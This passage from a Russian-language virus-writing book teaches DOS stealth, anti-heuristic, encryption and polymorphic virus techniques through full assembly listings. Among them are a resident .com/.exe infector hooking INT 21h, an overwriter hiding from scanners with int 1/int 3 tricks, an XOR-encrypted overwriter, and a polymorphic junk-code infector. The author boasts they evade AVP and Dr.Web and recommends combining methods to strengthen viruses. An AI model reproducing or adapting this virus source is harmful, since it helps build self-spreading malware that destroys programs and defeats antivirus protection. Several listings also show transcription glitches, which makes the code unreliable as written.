ending:                         ; !!!!!!!!!!!!
        jmp     do_oldint21h    ; Вернем управление оригинальному обрабочику
 

Восклицательными знаками отмечено место в вирусном обработчике 21 прерывания, которое отличает полустелс-вирус от полного. Это реагирование на открытие файла и соответственно лечение файла, если он инфицирован, а также заражение этого файла, когда работа с ним закончена.

Теперь мы реализуем первые два неполных стелс-механизма в резидентном паразите комбинированного типа (*.com + *.exe) для примера.

Перейдем к листингу:

;----------------------------------------------
cseg    segment byte public "code"
        assume cs:cseg, ds: cseg
        org 100h

start_of_virus:
        call    get_delta
get_delta:                              ; Получим дельта-смещение
        pop     bp
        sub     bp, offset get_delta

install_code:
        mov     ax,es                   ; Восстановим регистры
        add     ах, 10h
        add     word ptr cs:[bp+EXEret+2],ax
        add     word ptr cs:[bp+EXEstack],ax

        push    es

        mov     ah,99h                  ; Проверка на присутствие в памяти
        int     21h
        cmp     bh,99h
        je      already_resident

        mov     ah,4ah                  ; Получение количества параграфов
        mov     bx,0ffffh
        int     21h

        sub     bx,(vir_size+15)/16+1   ; Отнимем размер вируса в параграфах
        mov     ah,4ah
        int     21h

        mov     ah,48h                  ; Резервируем память для вируса
        mov     bx,(vir_size+15)/16
        int     21h
        jc      already_resident        ; Если ошибка, то на выход

        dec     ax                      ; ах-1 = MCB
        mov     es, ax
        mov     word ptr es:[1],8       ; Владелец DOS

        push    ax                      ; Положим ах в стек

        mov     ах,3521h              ; Получим вектор 21 прерывания
find:
        db      068h                    ; Антиэвристический механизм
        dw      OFFSET @avp
        ret                             ; AVP нас не найдет
        pop     ax
@avp:
        int     21h
        mov     word ptr ds:[0ldlnt21h],bx

        mov     word ptr ds:[0ldlnt21h+2],es

        pop     ax                              ; ax = MCB для выделения памяти
        push    cs
        pop     ds

        cld                                     ; cld для movsw
        sub     ax,0fh                          ; es:[100h] = начало выделенной памяти
        mov     es,ax
        mov     di,100h
        lea     si,[bp+offset start_of_virus]
        mov     cx,(vir_size+1)/2               ; Переносим вирус в память
        rep     movsw

        push    es
        pop     ds

        mov     dx,offset new_int21h            ; Ставим свой обработчик 21 прерывания
        mov     ax,2521h
        int     21h

        mov     ax,3524h                        ; Получим вектор 21 прерывания
        int     21h
        mov     word ptr ds:[old24],bx
        mov     word ptr ds: [old24+2],es

        mov     dx,offset new24                 ; Установим свой обработчик 24 прерывания
        mov     ah,25h                          ; чтобы не было ошибок при записи на защищенную дискету
        int     21h

already_resident:

        push    cs cs
        pop     es ds

        cmp     byte ptr [bp+COMflag],1         ; Проверим, откуда стартуем *.com или *.exe
        jne     exit_EXE

exit_C0M:                                       ; Возвращаем управление оригинальной программе
        mov     di,100h
        lea     si,[bp+COMret]
        mov     cx,3
        rep     movsb                           ; Восстанавливаем первые 3 байта

        pop     es                              ; И передаем управление
        mov     ax,100h
        jmp     ax

exit_EXE:                                       ; Выход, если стартовали из *.exe файла
        pop     es
        mov     ax,es                           ; Восстановим сегментные регистры и ss:sp
        mov     ds,ax
        cli
        mov     ss,word ptr cs:[bp+EXEstack]
        mov     sp,word ptr cs:[bp+EXEstack+2]
        sti

                db      0eah                    ; Передаем управление программе
EXEret          db      0,0,0,0
EXEstack        dd      0

;--------Новый обработчик 24 прерывания--------
new24
        mov     al,3                            ; Наш обработчик 24 прерывания
        iret
;----------------------------------------------
;       Новый обработчик 21 прерывания
;----------------------------------------------
new_int21h:
        cmp     ah,99h                          ; Ответ на проверку присутствия в памяти
        jne     continue
        mov     bh,99h
        iret
continue:
        cmp     ah,4bh                          ; Если программа запущена, будем заражать
        jne     check_dir
        jmp     infect
check_dir:
        cmp     ah, 11h                         ; Если вызов "dir", то маскируемся
        je      hide_dir
        cmp     ah, 12h
        je      hide_dir
        cmp     ah,4eh                          ; Если вызов NC - 4eh, 4fh, прячемся по-другому
        je      hide_dir2
        cmp     ah,4fh
        je      hide_dir2

        jmp     do_oldint21h                    ; Если какая-то другая функция DOS, то пусть работает
                                                ; оригинальный обработчик
;----------------------------------------------
;       Функция неполного стелс-механизма
;----------------------------------------------
hide_dir:                                       ;
        pushf                                   ; Положим в стек флаги
        push    cs                              ; и cs
        call    do_oldint21h                    ; Теперь вызовем оригинальное 21 прерывание
        or      al,al                           ; Вызов был удачным?
        jnz     skip_dir                        ; Нет, маскировка отменяется

        push    ax bx es                        ; Сохраняем используемые регистры

        mov     ah,62h                          ; Получим текущий PSP
        int     21h
        mov     es, bx
        cmp     bx,es:[16h]                     ; PSP в порядке?
        jnz     bad_psp                         ; Если нет, то на выход

        mov     bx,dx
        mov     al,[bx]                         ;
        push    ax                              ; расширенный FCB
        mov     ah,2fh                          ; получим DTA
        int     21h
        pop     ax
        inc     al                              ; Это расширенный FCB?
        jnz     no_ext

        add     bx,7                            ; Если да, то добавим 7
no_ext:
        mov     al,byte ptr es:[bx+17h]         ; Взглянем на наши секунды
        and     al,1fh
        xor     al,1dh                          ; Файл заражен?
        jnz     no_stealth                      ; Если нет, то размер не изменяем

        cmp     word ptr es:[bx+1dh],vir_size   ; Если размер меньше, чем размер вируса, то он не
        ja      hide_it                         ; мог быть заражен, значит, не маскируем
        cmp     word ptr es:[bx+1fh],0          ;
        je      no_stealth                      ;
hide_it:
        sub     word ptr es:[bx+1dh],vir_size   ; Подменяем размер файла
        sbb     word ptr es:[bx+lfh],0
no_stealth:
bad_psp:
        pop     es bx ax                        ; Восстанавливаем регистры
skip_dir:
        iret                                    ; возвращаем управление
hide_dir2:
        pushf                                   ; Положим в стек флаги
        push    cs                              ; и cs
        call    do_oldint21h                    ; Теперь вызовем оригинальное 21 прерывание
        jc      eofs                            ; Если нет больше файлов, то на выход

        push    ax es bx                        ; Сохраним регистры

        mov     ah,2fh                          ; Получим DTA
        int     21h

        mov     ax,es:[bx+16h]
        and     ax,1fh                          ; PSP в порядке?
        xor     al,29
        jnz     not_inf                         ; Если нет - на выход

        cmp     word ptr es:[bx+1ah],vir_size   ; Файлы меньше длины вируса - не трогаем
        ja      sub_it
        cmp     word ptr es:[bx+1ch],0
        je      not_inf
sub_it:
        sub     word ptr es:[bx+1ah],vir_size   ; Исправляем длину файла
        sbb     word ptr es:[bx+1ch],0
not_inf:
        pop     bx es ax                        ; Восстанавливаем регистры
eofs:
        retf    2                               ; Возвращаем управление
;----------------------------------------------
; Определение имени файла для открытого хэндла
;----------------------------------------------
check_name:
        push    bx
        mov     ax,1220h
        int     2fh

        mov     ax,1216h                        ; Получение SFT (system file table)
        mov     bl,byte ptr es:[di]             ; Дли хэндла в bx
        int     2fh
        pop     bx

        add     di,20h                          ; es:di+20h указывает на имя файла
        ret                                     ; Возврат
;----------------------------------------------
; Процедура инфицирования
;----------------------------------------------
infect:
        push    es bp ax bx cx si di ds dx

        mov     ax,3d02h                        ; Откроем файл
        int     21h
        xchg    ax,bx

        push    cs
        push    cs
        pop     ds
        pop     es

        mov     ax,5700h                        ; Сохраним и проверим время/дату файла
        int     21h                             ; Признак инфицирования
        push    dx
        push    cx
        and     cl, 1fh
        xor     cl, 1dh
        jne     read_it
        jmp     skip_infect

read_it:
        mov     ah,3fh                          ; Читаем первые 18h байт
        mov     cx,18h
        mov     dx,offset EXEheader             ; В EXEheader
        int     21h

        mov     byte ptr COMflag,0              ; Проверим *.exe или *.com и уст. флаг - COMflag
        cmp     word ptr EXEheader,'ZM'
        je      is_EXE
        cmp     word ptr EXEheader,'MZ'
        je      is_EXE
        mov     byte ptr COMflag,1

is_EXE:
        mov     ax,4202h                        ; Идем в конец файла
        xor     сх,сх
        cwd
        int     21h

        push    ax
        push    es
        call    check_name

        cmp     COMflag,1                       ; Если это *.com, то переходим к его заражению
        je      infect_COM

infect_EXE:    
        pop     es

        mov     di,offset EXEret                ; EXEret = IP/CS
        mov     si,offset EXEheader+14h
        mov     cx,2
        rep     movsw

        mov     si,offset EXEheader+0eh         ; EXEstack = SS/SP
        mov     cx, 2
        rep     movsw

        pop     ax                              ; Восстановим ax

        mov     cx,10h
        div     cx
        sub     ax,word ptr [EXEheader+8h]
        mov     word ptr [EXEheader+14h],dx     ; Вычислим CS:IP
        mov     word ptr [EXEheader+16h],ax
        add     ax,100
        mov     word ptr [EXEheader+0eh],ax     ; SS:SP
        mov     word ptr [EXEheader+10h],100h
        jmp     short more_infection

infect_COM:    

        cmp     word ptr es: [di], '0C'         ; He заражаем command.com
        pop     es
        pop     ax
        jne     no_command_com
        jmp     skip_infect    

no_command_com:
        mov     di,offset COMret                ; Отправим первые 3 байта в COMret
        mov     si,offset EXEheader
        mov     cx,3
        rep     movsb

        sub     ax, 3                           ; Отнимем 3 от длины файла (размер JMP)
        mov     byte ptr [EXEheader],0e9h       ; И построим начальный JMP
        mov     word ptr [EXEheader+1],ax

more_infection:

        mov     ah,40h                          ; Пишем в файл
        mov     cx,vir_size
        nov     dx,offset start_of_virus
        int     21h

        push    cs     
        pop     ds

        cmp     byte ptr COMflag,0              ; Если это *.com, то пропускаем следующую часть
        jne     goto_start

        mov     ax,4202h                        ; Идем в конец файла
        xor     cx, cx
        cwd
        int     21h

        mov     cx,512                          ; Пересчитываем новую длину файла в 512-
        div     cx                              ; байтных страницах
        inc     ax
        mov     word ptr [EXEheader+2],dx
        mov     word ptr [EXEheader+4],ax

goto_start:
        mov     ax,4200h                        ; идем в начало файла
        xor     cx,cx
        cwd
        int     21h

        cmp     byte ptr [COMflag],1            ; Если *.com, то пишем первые 3 байта
        je      write_3
        mov     cx,18h                          ; Иначе пишем весь *.exe заголовок
        jmp     short write_18h
write_3:
        mov     cx,3
write_18h:
        mov     dx,offset EXEheader
        mov     ah,40h
        int     21h

skip_infect:                                    ; Отмечаем время и дату и метим файл как
                                                ; инфицированный
        mov     ах, 5701h
        pop     сх
        pop     dx
        or      cl,00011101b
        and     cl,11111101b
        int     21h

        mov     ah,3eh
        int     21h
        pop     dx
        pop     ds

        pop     di si cx bx ax bp es
Oldint21h:                      ; Возвращение управления оригинальному обработчику 21
                db      0eah    ; прерывания
OldInt21h       dd      0
COMflag         db      1
COMret          db      0cdh,20h,00h
vir_size        equ     705
old24           dd      0
EXEheader       db      18h dup(0)

end_of_virus:
cseg    ends
        end     start_of_virus
;----------------------------------------------
 

Данный вирус имеет размер 705 байт и на момент написания книги никакими антивирусами не обнаруживался.

Стоить заметить, что при посадке в память мы использовали функции DOS, а не прямой метод. На этом мы и закончим обсуждение стелс-вирусов.

Необходимо заметить, что лечение остается таким же, как и в варианте с обыкновенным комбо-паразитом. Но оно будет неэффективным, если не загрузиться с чистой DOS-дискеты.

5.4. Антиэвристические приемы

Сейчас поговорим об антиэвристических механизмах. На что рассчитаны антиэвристические приемы? Они рассчитаны на обман антивирусных программ, таких как AVP, Sophos Antivirus и др. Чтобы узнать, как эти приемы работают, давайте разберемся с тем, как работают эвристические анализаторы в антивирусах. К примеру, если у вас в программе есть поиск (DOS-функция 4eh) по маске *.exe и в этой же программе есть функция записи (DOS-функция 40h), то с какой-то долей уверенности можно сказать, что в файле гнездится вирус. Сейчас был описан механизм работы анализатора кода. Но анализатор кода сам не работает, он работает в паре с эмулятором кода. Что же такое эмулятор и для, чего он нужен? Эмулятор кода необходим для обнаружения вирусов, шифрующих свой код. Он эмулирует работу процессора. Эмулятор пытается исполнить инструкции, взятые из исполнимого файла в специальной «виртуальной машине». В то время как он «псевдоисполняет» файл, анализатор ищет мнемоники кода, характерные для вирусов. Обычно антиэвристические приемы строятся либо на обмане эмулятора, либо на обмане анализатора. Начнем с эмулятора. Есть возможность обмана эмулятора на эмуляции процессора, когда процессор имеет какие-то ошибки, и в реальной жизни команды будут выполняться не так, как при эмуляции.

Рассмотрим пример:

        xor     ах,ах
        sahf
        lahf            ; ах=2
        xchg    al,ah
        add     ax,5
        call    $+3
        pop     si
        add     si,ax
        jmp     si
        mov     bl, 56h
 

На самом деле, не выполнится, а вот при эмуляции антивирусом выполнится, т. е. если bx — ключ расшифровщика, то антивирус никогда не сможет правильно расшифровать вирус. И анализатор не сможет даже пискнуть, так как он будет рыться в зашифрованном коде.

Второй способ обмана эмулятора — это обмануть его на эмуляции периферии. Мы продемонстрируем это на примере отказа эмулятора при эмуляции работы с портами.

Рассмотрим пример:

        in      ax,42h
        mov     si,ax
        in      ax,42h
        cmp     ax,si
        jnz     exit
        mov     bx,1234h        ; антивирус эмулирует, а на самом деле это не работает
exit:
 

Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.

Рассмотрим пример:

cseg segment
        assume cs:cseg,ds:cseg
        org 100h
start:
        mov     ah,09h          ;
        lea     dx,msg          ; Итак, представимся
        int     21h             ;
       
        mov     ah,4eh          ; DOS функция - найти первый файл
find:
        int     1h              ; !!!!!!!!!!!!!!!!!!!!!
        lea     dx,file1        ; маска файла для поиска
        int     21h             ; найти первый файл
infect:
        mov     ax,3d01h        ;
        mov     dx,09Eh         ; Откроем его
        int     21h             ;

        xchg    ax,bx           ; хэндл файла в bx
        int     3h              ; !!!!!!!!!!!!!!!!!!!!!
        mov     ah,40h          ; Будем записывать
        mov     cl,89           ; Сколько байт будем записывать [наша длина]
        mov     dx,100h         ; С какой позиции? С начала, конечно
        int     21h             ; Писать сейчас!

        mov     ah,3eh          ; Закроем файл
        int     21h             ;

        mov     ah,4Fh          ; Найдем новый
        int     21h             ;

        jnc     infect          ; и заразим

        int     20h             ; Конец

        file1   db '*.exe',0
        msg     db '[+ s!mPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'
cseg ends
end start
;----------------------------------------------
 

Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками. Однако добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.

Каждый антиэвристический прием — это дело вкуса, и каждый писатель вирусов пытается попробовать себя в этом деле. Сейчас я приведу еще парочку самых популярных.

Вот листинг:

        mov     cx,0ffffh
ah1:
        jmp     ah2

        mov     ax,4c00h
        int     21h
ah2:
        loop    ah1
 

В этом примере организован довольно длинный цикл, который скачет вокруг команды завершения программы. Если вы этот прием применяете в *.com программе, то без страха можете заменять команды завершения программы на «ret» или на «int 20h».

И еще один листинг:

find:
        db      068h            ; это антиэвристический
        dw      OFFSET @avp     ; прием
        ret                     ; взятый мной из вирусного журнала
        pop     ах            ; Infected Voice
@avp:                           ;
 

Здесь смысл приема несколько в ином. Сначала первыми двумя инструкциями в стек кладется адрес возврата на метку @avp. После этого идет возврат командой «ret», и управление передается на метку @avp.

И простенький прием от меня:

        jmp     $+4
        int     20h
 

Здесь все довольно тривиально — обычный переход, который перескакивает команду завершения программы.

Ну вот, и все! С антиэвристическими механизмами мы закончили.

Данные трюки затрудняют анализ вируса, но ничего не изменяют в принципе его лечения.

5.5. Динамическое шифрование

Динамическое шифрование — это одна из наиболее мощных вирусных технологий. Она предназначена для борьбы с сигнатурными сканерами и для обмана пользователя, изучающего вирус. Вот, например, есть вирус, созданный с использованием всех описанных выше технологий. Стоит любопытному пользователю посмотреть в текстовом редакторе на вирус и как вы думаете, что он там увидит? Как минимум строку типа «...*.com....» или «...*.exe...». И вы думаете после этого он как ни в чем не бывало запустит инфицированную программу? Приведенные стороки — это лучший вариант, а что будет, когда он увидит сообщение, адресованное всем ламерам, в том числе и ему, что-то вроде «SuPa DuPa VIRUS by vasYok»?. После этого судьба вируса будет предрешена, погибает он быстро...

Для того, чтобы ничего подобного с вирусами не случилось, их разработчики используют метод, о котором следует рассказать.

Динамическое шифрование необходимо для маскировки текстовых строк в вирусе, а также для маскировки инструкций размножения. Шифрование производится при помощи простых математических операций, таких как: XOR, INC/DEC, ADD/SUB. Самая распространенная из них — это, конечно же, XOR. потому как для этой математической операции не нужна дублирующая, т. е. при первом вызове XOR шифрует, а при втором расшифрует. Для понимания методов работы данных операций обратитесь к какому-нибудь справочнику по дискретной математике.

Теперь рассмотрим схему работы простейшего шифрованного вируса типа overwriter:

Вызов шифровщика/расшифровщика+Шифровщик/расшифровщик+Вирусное тело

Перейдем к подробному алгоритму функционирования данного вируса.

  1. Вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки virus_code и до конца вируса.
  2. Затем берется случайное значение по таймеру, которое будет ключом для шифрования.
  3. Ищется файл. При положительном результате поиска осуществляется переход на метку infect, где и происходит инфицирование.
  4. Сначала перед инфицированием шифруется код. Затем уже зашифрованный он переписывается в заражаемый файл с нешифрованной процедурой инфицирования и шифровщиком/расшифровщиком.
  5. Затем код расшифровывается, и идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.

Рассмотрим листинг данного вируса:

code    segment                         ; сегмент кода
assume  cs:code,ds:code                 ;
        org     100h                    ;
main:                                   ; Начало вирусной программы
        call    encrypt_decrypt         ; Расшифруем вирусный код
        jmp     random_mutation         ; Перейдем на метку мутации

encrypt_val     db      00h             ; Переменная [шифрующий/расшифрующий ключ]
virus_size      equ     108             ; переменная [длина вируса]

infect_file:
        mov     bx,handle               ; Возьмем хэндл файла
        push    bx                      ; Положим его в стек
        call    encrypt_decrypt         ; Зашифруем большую часть вирусного кода
        pop     bx                      ; Восстановим хэндл
        mov     cx,virus_size           ; Количество байт для записи
        mov     dx,100h                 ; Откуда начинать переписывать
        mov     ah,40h                  ; DOS-функция записи в файл
        int     3h                      ; Антиэвристика
        int     21h                     ;
        call    encrypt_decrypt         ; Зашифруем код (таким, каким он был)
        ret                             ; Вернемся туда, откуда нас вызвали
;------------ Функция шифровки/разшифровки ------------------------
encrypt_decrypt:
        lea     bx,virus_code           ; С какого места шифруем вирус
xor_loop:                               ; Начало шифрования здесь
        mov     ah,[bx]                 ; Берем текущий байт
        xor     ah,encrypt_val          ; Преобразуем его операцией XOR по ключу
        mov     [bx],ah                 ; И кладем шифрованный/расшифрованный байт на место
        inc     bx                      ; Переходим к следующему байту
        cmp     bx,offset virus_code+virus_size ; Мы достигли конца файла?
        jle     xor_loop                ; Если нет, то шифруем дальше
        ret                             ; Если да, то вернемся туда, откуда нас вызывали
;----------------------------------------------
virus_code:
random_mutation:                        ;
        mov     ah,2ch                  ; Возьмем по таймеру значение
        int     21h
        mov     encrypt_val,dl          ; Присвоим это случайное значение ключу

find_com:
        xor     cx,cx
        lea     dx,fmask                ; Найдем файл по маске *.com
        mov     ah,4eh
        int     21h
        jnc     healthy

continue_search:
        mov     ah,4fh                  ; Ищем следующий файл
        int     21h                     ;
        jc      exit_virus              ; Если больше нет файлов, то идем на выход

healthy:
        mov     ax,3d02h                ; Откроем файл
        mov     dx,09eh
        int     21h
        mov     handle,ax               ; Сохраним хэндл файла в переменную
        call    infect_file             ; Заразим файл
        call    close_file              ; Закроем его
        jmp     short continue_search   ; Перейдем к следующей жертве
        ret            

close_file:
        mov     bx,handle               ; Восстановим хэндл файла
        mov     ah,3eh                  ; Затем закроем файл
        int     21h
exit_virus:
        ret                             ; Конец программы
;----------------------------------------------
        fmask   db      '*.com'         ; Переменные
        handle  dw      ?               ;
code    ends
end     main
;----------------------------------------------
 

Рассмотрим данный вирус более подробно. Это необходимо, для того чтобы нормально разобраться с технологией динамического шифрования.

Взглянем на первый блок данного вируса:

main:                                   ; Начало вирусной программы
        call    encrypt_decrypt         ; Расшифруем вирусный код
        jmp     random_mutation         ; Перейдем на метку мутации

encrypt_val     db      00h             ; Переменная [шифрующий/расшифрующий ключ]
virus_size      equ     108             ; переменная [длина вируса]
 

Здесь вначале вызывается процедура шифрования/расшифрования, затем переход на расшифрованный только что этой процедурой участок кода. Переменная encrypt_val содержит ключ для процедуры шифрования, при первом запуске он равен нулю, так как изначально вирус не зашифрован и преобразование XOR byte1,0 не изменит значения byte1. В virus_size хранится размер вируса.

Второй блок:

infect_file:
        mov     bx,handle               ; Возьмем хэндл файла
        push    bx                      ; Положим его в стек
        call    encrypt_decrypt         ; Зашифруем большую часть вирусного кода
        pop     bx                      ; Восстановим хэндл
        mov     cx,virus_size           ; Количество байт для записи
        mov     dx,100h                 ; Откуда начинать переписывать
        mov     ah,40h                  ; DOS-функция записи в файл
        int     3h                      ; Антиэвристика
        int     21h                     ;

        call    encrypt_decrypt         ; Зашифруем код (таким, каким он был)
        ret                             ; Вернемся туда, откуда нас вызвали
 

Эта процедура инфицирования, как и первый блок, не шифруется, так как она необходима для инфицирования найденного файла. В начале в bx помещается хэндл найденного и открытого для чтения/записи файла. Затем bx сохраняется в стеке, так как в процедуре шифрования bx изменяется. После этого вызывается процедура шифрования, которая шифрует большую часть вируса, а после нее восстанавливается bx. И в файл-жертву переписывается уже зашифрованная версия вируса. Потом вирус расшифровывается, и управление возвращается в то место, откуда эта процедура была вызвана.

Третий блок:

encrypt_decrypt:
        lea     bx,virus_code           ; С какого места шифруем вирус
xor_loop:                               ; Начало шифрования здесь
        mov     ah,[bx]                 ; Берем текущий байт
        xor     ah,encrypt_val          ; Преобразуем его операцией XOR по ключу
        mov     [bx],ah                 ; И кладем шифрованный/расшифрованный байт на место
        inc     bx                      ; Переходим к следующему байту
        cmp     bx,offset virus_code+virus_size ; Мы достигли конца файла?
        jle     xor_loop                ; Если нет, то шифруем дальше
        ret                             ; Если да, то вернемся туда, откуда нас вызывали
 

Это процедура шифрования. В первой инструкции этого блока в bx загружается начало шифруемого кода. Затем в ah загружается первый байт этого кода преобразуется при помощи операции XOR. После этого уже зашифрованый операцией XOR байт помещается на старое место. Аналогичные действия производятся со всеми байтами, начиная с метки virus_code и заканчивая концом вирусной программы.

Переходим к четвертому блоку:

virus_code:
random_mutation:                        ;
        mov     ah,2ch                  ; Возьмем по таймеру значение
        int     21h
        mov     encrypt_val,dl          ; Присвоим это случайное значение ключу

find_com:
        xor     cx,cx
        lea     dx,fmask                ; Найдем файл по маске *.com
        mov     ah,4eh
        int     21h
        jnc     healthy

continue_search:
        mov     ah,4fh                  ; Ищем следующий файл
        int     21h                     ;
        jc      exit_virus              ; Если больше нет файлов, то идем на выход
 

В данном блоке используется функция 2ch (21 прерывания), которая помещает в dl случайное значение, и это случайное значение присваивается нашему ключу шифрования. Далее идет поиск файла. Если он найден, переход на метку healthy, если таковых файлов нет, то идет переход на завершение программы.

Последний пятый блок:

healthy:
        mov     ax,3d02h                ; Откроем файл
        mov     dx,09eh
        int     21h
        mov     handle,ax               ; Сохраним хэндл файла в переменную
        call    infect_file             ; Заразим файл
        call    close_file              ; Закроем его
        jmp     short continue_search   ; Перейдем к следующей жертве
        ret            

close_file:
        mov     bx,handle               ; Восстановим хэндл файла
        mov     ah,3eh                  ; Затем закроем файл
        int     21h
exit_virus:
        ret                             ; Конец программы
 

Здесь в начале блока открывается найденный файл на чтение/запись, хэндл файла помещается в переменную handle. Потом вызывается процедура инфицирования файла, следом за ней процедура закрытия инфицированного файла. Далее идет поиск следующей жертвы. Если таковой нет, то работа вируса завершается.

Данный вирус является наиболее очевидным применением технологии олигоморфизма11 на простейшем вирусе типа overwriter. Антивирусами, такими как AVP, dr.WEB, он не обнаруживается. Здесь был представлен наиболее тривиальный пример для наиболее полного понимания сути проблемы. Данную технологию можно и нужно применять вместе с остальными, это безмерно усилит потенциал вируса. Данная часть очень важна, так как на основе шифрующихся вирусов появились полиморфные. А понимание работы полиморфных вирусов невозможно в отрыве от шифрующих свой код.

Лечение данного вируса невозможно. Так как он безвозвратно портит программу, его необходимо удалять вместе с инфицированной программой. Но при идентификации небходимо цепляться только за декриптор, так как основное тело вируса мутирует.

5.6. Полиморфизм

Полиморфная технология основана на технологии шифрования и представляет собой тот же самый шифрованный вирус, но с тем лишь различием, что расшифровщик этого вируса не постоянный. Расшифровщик постоянно мутирует, что позволяет обманывать сигнатурные сканеры. От мутации к мутации в вирусе в идеале не должно оставаться постоянных байт. Другими словами, каждый раз мутируя, вирус полностью изменяется. Если сравнить две его различные мутации, то в идеале не должно быть никакого сходства.

Родоначальником данной технологии является вирмэйкер12 из Болгарии Dark Avenger.

Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии — это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ах,ах; mov bx,bx... Но чаще всего в полиморфизм вкладывают смысл замены одних команд другими — идентичными по содержанию, но разными по форме. К примеру, рассмотрим следующие команды: mov ax,bx; xchg ax,bx. Эти две команды не аналогичны, но первую инструкцию можно спокойно заменить другой. В полиморфном вирусе такие мутации происходят от запуска к запуску инфицированной программы, что позволяет быть вирусу неуязвимым по отношению к сигнатурным сканерам.

Простейший пример полиморфизма будет заключаться в том, что между настоящими инструкциями расшифровщика помещаются мусорные инструкции, которые от инфицирования к инфицированию будут изменяться. Что это может дать? Посмотрим на примере следующие байты, по которым антивирус опознает вирус: BE 22 01 8В FE. Это две инструкции расшифровщика:

        mov     si,0122         ; BE 22 01
        mov     di,si           ; 8B FE
 

Что сделают разработчики антивирусов, если между этими командами расположить команду пустышку nop? Они ее добавят к строке сигнатуры, и байты, по которым будет определяться вирус, будут выглядеть так:

        mov     si,0122         ; BE 22 01
        nop                     ; 90
        mov     di,si           ; 8B FE
 

И уже по этой строке будет идентифицироваться ваш вирус. Это будет выглядеть примерно следующим образом. При проверке открывается подозрительный файл, из него читаются первые 6 байтов. Если они совпадают с BE 22 01 90 8В FE, то файл считается инфицированным.

Мутациями после каждого инфицирования будет изменяться мусорная команда, и тогда антивирус не обнаружит полного совпадения. Это позволяет надеяться на то, что он не назовет его вирусом. Но этот простейший пример полиморфизма срабатывает только на слабых сигнатурных сканерах.

Итак, перейдем к листингу.

;----------------------------------------------
code    segment                         ;
        assume  cs:code,ds:code         ;
        org     100h                    ;
start:
        junk1   db 90h                  ;
        lea     si,encrypted            ; Кладем в si начало шифрованной части кода
        junk2   db 90h                  ;
        mov     di,si                   ; В di тоже самое
        junk3   db 90h                  ;
        mov     cx,finished-encrypted   ; В cx кладем количество байт для шифрования
        junk4   db 90h                  ;
        call    encryption              ; Вызов процедуры шифрования/расшифрования
        junk5   db 90h                  ;
        jmp     encrypted               ; Переход на начало шифрованного кода
        junk6   db 90h
encryption:                             ; Процедура шифрования/расшифрования
        lodsb                           ; Загружаем в al байт
        junk7   db 90h                  ;
        xor     al,byte ptr [decrypt]   ; Преобразуем его операцией XOR
        junk8   db 90h                  ;
        stosb                           ; И кладем байт на прежнее место
        junk9   db 90h
        loop    encryption              ; Повторять операции, пока все байты не зашифрованы
        junk10  db 90h 
        ret                             ; Выход из процедуры

decrypt db      0                       ; Ключ шифрования
;----------------------------------------------
encrypted:                              ; Начало шифрованной части кода
        call    musor                   ; Вызов нашего генератора мусора
        mov     ah,4eh                  ;Поиск первого файла
get:
        xor     cx,cx                   ;
        lea     dx,comfile              ;
        int     21h

        jc      end_virus

        mov     ax,3d02h                ; Открытие найденного файла на чтение/запись
        mov     dx,9eh                  ;
        int     21h
        xchg    bx,ax                   ;

        in      al,40h                  ; Получаем случайное число в al
        mov     byte ptr [decrypt],al   ; И это будет наш ключ шифрования

        lea     si,encrypted            ; Кладем в si начало шифрованной части кода
        lea     di,finished             ; Куда будем класть зашифрованный код

        mov     cx,finished-encrypted   ; Количество байт для шифрования
        call    encryption              ; Теперь вызываем процедуру шифрования

        mov     ah,40h                  ; Запишем в найденный файл
        mov     cx,encrypted-start      ; Нешифрованную часть вируса
        lea     dx,start                ;

        int     21h

        mov     ah,40h                  ; Теперь допишем зашифрованную часть программы
        mov     cx,finished-encrypted   ;
        lea     dx,finished             ;
        int     21h

        mov     ah,3eh                  ; Закроем файл
        int     21h

        mov     ah,4fh                  ; Ищем следующий
        jmp     get                     ; и заражаем его

end_virus:
        ret                             ; Конец программы
;----------------------------------------------
musor:                                  ; Процедура генерации мусора
        lea     si,start                ; Начиная с какого места мы генерируем мусор
        mov     di,si                   ; Сначала и мусор будет размещен там же
        mov     cx,encrypted-start      ; Кол-во байт, в которых могут встретиться мусорные
                                        ; команды
        call    generator               ; Вызов генератора мусора

        ret                             ; Возврат из процедуры
;----------------------------------------------
generator:
        lodsb                           ; Загружаем первый байт из нешифрованной части
        cmp     al,90h                  ; Проверяем, если это nop, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0f8h                 ; Проверяем, если это clc, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0f9h                 ; Проверяем, если это stc, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fbh                 ; Проверяем, если это sti, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fch                 ; Проверяем, если это cld, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        cmp     al,0fah                 ; Проверяем, если это cli, то
        je      preob                   ; изменяем его на другую мусорную команду, выбранную
                                        ; по случайному закону
        jmp     end_preob               ; Если мы попали сюда, то это не мусорный байт и его
                                        ; трогать не нужно
preob:
        call    random2                 ; Процедура генерации случайной мусорной команды
                                        ; Результат будет в al
end_preob:
        stosb                           ; Помещаем байт на прежнее место
        loop    generator               ; Проверяем все байты из нешифрованной части
        ret                             ; Возврат из процедуры
;----------------------------------------------

random2:                                ; Процедура генерации случайной мусорной команды
        in      ax,40h                  ; В ах помещается случайное число
        and     ax,5                    ; Эта команда ограничивает это число диапазоном 0-5

        xchg    ax,bx                   ; Это случайное число помещается в bx
        add     bx,offset garbage       ; Добавляется смещение на таблицу мусорных команд
        mov     al,[bx]                 ; И в al помещается случайная команда из garbage
        ret                             ; Возврат из процедуры
;----------------------------------------------
garbage:
        nop                             ;
        clc                             ;
        stc                             ; Мусорные команды
        cmc                             ;
        cld                             ;
        sti                             ;
;----------------------------------------------
        comfile db "*.c*",0             ; Маска *.com файла
finished:                               ;
code    ends                            ;
end     start                           ;
;----------------------------------------------
 

